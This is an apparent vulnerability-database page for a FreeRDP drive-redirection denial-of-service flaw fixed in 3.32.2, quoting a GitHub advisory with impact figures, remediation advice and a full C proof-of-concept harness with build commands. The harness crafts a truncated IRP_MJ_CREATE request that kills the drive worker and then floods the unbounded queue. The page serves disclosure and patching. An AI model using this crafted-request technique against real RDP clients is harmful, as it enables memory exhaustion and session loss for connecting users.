FreeRDP drive worker stops on malformed request, queues later IRPs
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-5qqp-5ffm-m3p9. Fix status from GitHub. Impact type from CWE-400.
Summary
FreeRDP up to and including 3.32.1 is affected. A malicious RDP server can send a drive request with a valid header but no body, which makes the drive worker exit while the RDPDR channel stays active. Later server requests keep being queued without limits, so each one retains memory and can exhaust resources. Exploitation requires drive redirection to be enabled and user interaction.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious RDP server can send a drive DEVICE_IOREQUEST with a valid 20-byte IRP header specifying IRP_MJ_CREATE but no CREATE body. irp_new accepts the header; drive_process_irp_create requires another 32 bytes and returns ERROR_INVALID_DATA. drive_evaluate discards the IRP; drive_poll_run returns FALSE; and the drive worker exits. Its local error remains CHANNEL_RC_OK, so it raises no channel error. With drive redirection enabled and default asynchronous dispatch, the RDPDR channel remains active. drive_irp_request keeps posting later server IRPs without worker-liveness or queue-size checks. Each queued IRP retains its input stream and an output stream. It posts local peer-representable IRPs rather than running a malicious RDP server. ### Complete focused PoC source ~~~c /* CAND-000195 verification harness. * * Uses the real drive_main.c translation unit and the real irp.c (irp_new) * to demonstrate, in one process: * 1. an async drive worker thread is alive, * 2. one peer-representable truncated IRP (CREATE, 0-byte payload) kills it, * 3. drive_irp_request() keeps accepting and retaining further IRPs in * drive->IrpQueue with no consumer, * 4. how much memory each retained IRP costs (mallinfo2 + RSS). * * Build/run: see the inline compile/run commands below. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <unistd.h> #include <inttypes.h> #include "channels/drive/client/drive_main.c" #include "channels/rdpdr/client/devman.h" #include "channels/rdpdr/client/irp.h" /* irp.c's irp_complete() references rdpdr_send(); we never call Complete, * but the symbol must resolve at link time. */ UINT rdpdr_send(rdpdrPlugin* rdpdr, wStream* s) { (void)rdpdr; Stream_Release(s); return CHANNEL_RC_OK; } /* irp.c resolves devices through devman_get_device_by_id(); the harness does * not need devman.c, so provide a minimal lookup keyed on the device id. */ DEVICE* devman_get_device_by_id(DEVMAN* devman, UINT32 id) { (void)devman; return (DEVICE*)(uintptr_t)id; } #define DEVICE_ID 7u static size_t rss_bytes(void) { FILE* f = fopen("/proc/self/statm", "r"); if (!f) return 0; long pages = 0, resident = 0; if (fscanf(f, "%ld %ld", &pages, &resident) != 2) resident = 0; fclose(f); return (size_t)resident * (size_t)sysconf(_SC_PAGESIZE); } static size_t heap_bytes(void) { struct mallinfo2 mi = mallinfo2(); return mi.uordblks + mi.hblkhd; } /* Build a full RDPDR DeviceIoRequest PDU: * [Component u16][PacketId u16][IRP header 20 bytes][padding to pdu_size] * pdu_size == 24 -> CREATE with an empty (truncated) payload. */ static wStream* make_pdu(wStreamPool* pool, size_t pdu_size, UINT32 completion_id) { if (pdu_size < 24) return NULL; wStream* s = StreamPool_Take(pool, pdu_size); if (!s) return NULL; Stream_Write_UINT16(s, 2); /* RDPDR_CTYP_CORE */ Stream_Write_UINT16(s, 1); /* PAKID_CORE_DEVICE_IOREQUEST */ Stream_Write_UINT32(s, DEVICE_ID); Stream_Write_UINT32(s, 0); /* FileId */ Stream_Write_UINT32(s, completion_id); Stream_Write_UINT32(s, IRP_MJ_CREATE); Stream_Write_UINT32(s, 0); /* MinorFunction */ while (Stream_GetPosition(s) < pdu_size) Stream_Write_UINT8(s, 0x41); /* attacker padding */ return s; } static IRP* make_irp(DEVMAN* dm, wStreamPool* pool, wLog* log, size_t pdu_size, UINT32 id) { wStream* s = make_pdu(pool, pdu_size, id); if (!s) return NULL; /* rdpdr_process_receive() consumes Component+PacketId before irp_new(). */ Stream_SetPosition(s, 4); UINT err = 0; IRP* irp = irp_new(dm, pool, s, log, &err); Stream_Release(s); /* hand the only reference to the IRP */ if (!irp) fprintf(stderr, "irp_new failed err=%u\n", err); return irp; } int main(int argc, char** argv) { const size_t count = (argc > 1) ? strtoull(argv[1], NULL, 0) : 100000; const size_t pdu_size = (argc > 2) ? strtoull(argv[2], NULL, 0) : 1600; printf("sizeof(IRP)=%zu sizeof(wStream)=%zu sizeof(wMessage)=%zu\n", sizeof(IRP), sizeof(wStream), sizeof(wMessage)); DEVMAN* dm = calloc(1, sizeof(DEVMAN)); dm->id_sequence = 1; wStreamPool* pool = StreamPool_New(TRUE, 1024); if (!pool) return 2; wLog* log = WLog_GetRoot(); DRIVE_DEVICE* drive = calloc(1, sizeof(DRIVE_DEVICE)); drive->async = TRUE; drive->IrpQueue = MessageQueue_New(NULL); drive->files = ListDictionary_New(TRUE); ListDictionary_ValueObject(drive->files)->fnObjectFree = drive_file_objfree; wObject* qobj = MessageQueue_Object(drive->IrpQueue); qobj->fnObjectFree = drive_message_free; drive->thread = CreateThread(NULL, 0, drive_thread_func, drive, 0, NULL); if (!drive->thread) return 3; printf("worker: started\n"); Sleep(200); printf("worker: before fatal IRP, still alive=%s\n", (WaitForSingleObject(drive->thread, 0) == WAIT_TIMEOUT) ? "yes" : "no"); /* Peer-representable fatal IRP: IRP_MJ_CREATE, empty payload. */ IRP* fatal = make_irp(dm, pool, log, 24, 1); if (!fatal) return 4; UINT rc = drive_irp_request(&drive->device, fatal); printf("worker: posted truncated CREATE rc=%u\n", rc); const DWORD waited = WaitForSingleObject(drive->thread, 5000); printf("worker: after fatal IRP, exited=%s (wait=%lu)\n", (waited == WAIT_OBJECT_0) ? "yes" : "no", (unsigned long)waited); /* Now post `count` IRPs with no consumer. */ const size_t rss0 = rss_bytes(); const size_t heap0 = heap_bytes(); size_t posted = 0; for (size_t i = 0; i < count; i++) { IRP* irp = make_irp(dm, pool, log, pdu_size, (UINT32)(2 + i)); if (!irp) break; if (drive_irp_request(&drive->device, irp) != CHANNEL_RC_OK) break; posted++; } const size_t rss1 = rss_bytes(); const size_t heap1 = heap_bytes(); const size_t qsize = MessageQueue_Size(drive->IrpQueue); printf("retention: posted=%zu queue_size=%zu pdu_size=%zu\n", posted, qsize, pdu_size); printf("retention: heap delta=%zu bytes RSS delta=%zu bytes\n", heap1 - heap0, rss1 - rss0); if (posted) printf("retention: heap/IRP=%.1f bytes RSS/IRP=%.1f bytes\n", (double)(heap1 - heap0) / (double)posted, (double)(rss1 - rss0) / (double)posted); /* Channel teardown frees everything through drive_message_free. */ const UINT freerc = drive_free(&drive->device); const size_t heap2 = heap_bytes(); printf("teardown: drive_free rc=%u heap_after=%zu (freed %zu bytes vs peak)\n", freerc, heap2, heap1 > heap2 ? heap1 - heap2 : 0); StreamPool_Free(pool); free(dm); return 0; } ~~~ ### Compile and run ~~~sh git clone --depth 1 --branch 3.32.0 https://github.com/FreeRDP/FreeRDP.git freerdp-src cmake -S freerdp-src -B freerdp-build -DCMAKE_BUILD_TYPE=Debug cmake --build freerdp-build --parallel 4 SRC=./freerdp-src BUILD=./freerdp-build cc -std=gnu11 -O0 -g \ -D_FILE_OFFSET_BITS=64 -DWINPR_DEFINE_ATTR_NODISCARD -DWITH_OPENSSL \ -DWITH_VERBOSE_WINPR_ASSERT -DNONAMELESSUNION \ -I"$SRC" -I"$SRC/winpr/include" -I"$SRC/include" -I"$SRC/channels/rdpdr/client" \ -I"$BUILD" -I"$BUILD/include" -I"$BUILD/winpr/include" \ poc.c "$SRC/channels/drive/client/drive_file.c" "$SRC/channels/rdpdr/client/irp.c" \ -L"$BUILD/libfreerdp" -lfreerdp3 -L"$BUILD/winpr/libwinpr" -lwinpr3 -o poc LD_LIBRARY_PATH="$BUILD/libfreerdp:$BUILD/winpr/libwinpr" ./poc 1000 24 ~~~ ### Impact Later requests accumulate until channel teardown or memory exhaustion. A preserved test measured 100,000 retained requests and about 64.6 MB of heap growth for 24-byte PDUs, or 223 MB for 1,600-byte PDUs. Exact time to OOM depends on throughput and available memory; no live client OOM kill was measured. This is session-scoped availability loss without demonstrated data disclosure or modification. The attack requires Alice to connect to Mallory's server with drive redirection enabled through /drive or drivestoredirect. With the non-default synchronous static-channel setting, the handler error propagates and the unbounded asynchronous queue does not arise. ### Validation The preserved focused run used the actual drive worker, irp.c and queue code. It logged worker exit and 100,000 queued IRPs for both PDU sizes. ### Suggested remediation Complete malformed IRPs with an error status while keeping the worker alive. If a worker exits, report channel failure and reject subsequent IRPs. Cap the pending request count and retained input bytes. Test a truncated CREATE followed by many requests through asynchronous RDPDR and verify that the queue remains bounded or the channel closes.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-5qqp-5ffm-m3p9 |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-5qqp-5ffm-m3p9
Remediation
Update FreeRDP to version 3.32.2, the fixed version for releases up to and including 3.32.1.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-5qqp-5ffm-m3p9 FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-5qqp-5ffm-m3p9
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences